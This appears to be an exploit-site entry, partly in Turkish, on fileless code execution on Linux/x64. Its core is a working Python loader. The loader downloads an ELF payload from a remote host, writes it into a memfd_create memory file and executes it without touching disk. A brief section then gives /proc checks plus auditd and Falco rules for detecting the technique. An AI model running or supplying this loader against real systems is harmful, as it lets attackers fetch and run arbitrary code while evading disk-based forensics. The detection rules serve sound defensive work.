VULN REPORT
/
shellcode
/
ID: 264
Linux/x64 memfd_create Fileless Shellcode - Disk'e Yazmadan Calistirma
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 1 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_264.txt
Modern Fileless - Linux x64 - memfd_create
Linux/x64 Fileless Execution - memfd_create ile Disk'e Yazmadan
Fileless saldirilar disk uzerine calistirilabilir dosya yazmaz. memfd_create syscall ile isimsiz bellek dosyasi olusturulur, payload yazilir ve fexecve ile calistirilir.
memfd_create + fexecve Teknigi
import ctypes, os, urllib.request
# Uzaktan ELF binary indir
url = "http://192.168.1.50:8080/payload"
with urllib.request.urlopen(url) as resp:
elf = resp.read()
# memfd_create: isimsiz bellek dosyasi
libc = ctypes.CDLL(None)
fd = libc.syscall(319, b"", 1) # 319=memfd_create
# ELF'i bellege yaz
os.write(fd, elf)
# Disk'e yazmadan calistir
os.execve(f"/proc/self/fd/{fd}", [""], os.environ)
Forensic Tespit
ls -la /proc//fd/
# memfd:[isim] gorulurse bellek dosyasi var
cat /proc//maps | grep "memfd:"
auditd kurali:
-a always,exit -F arch=b64 -S memfd_create
FALCO Linux Forensics
Falco kurali: proc.memfd=true ile memfd_create tabani calismalari tespit edilir.
Entry Stats
Views
1
Downloads
0
Comments
0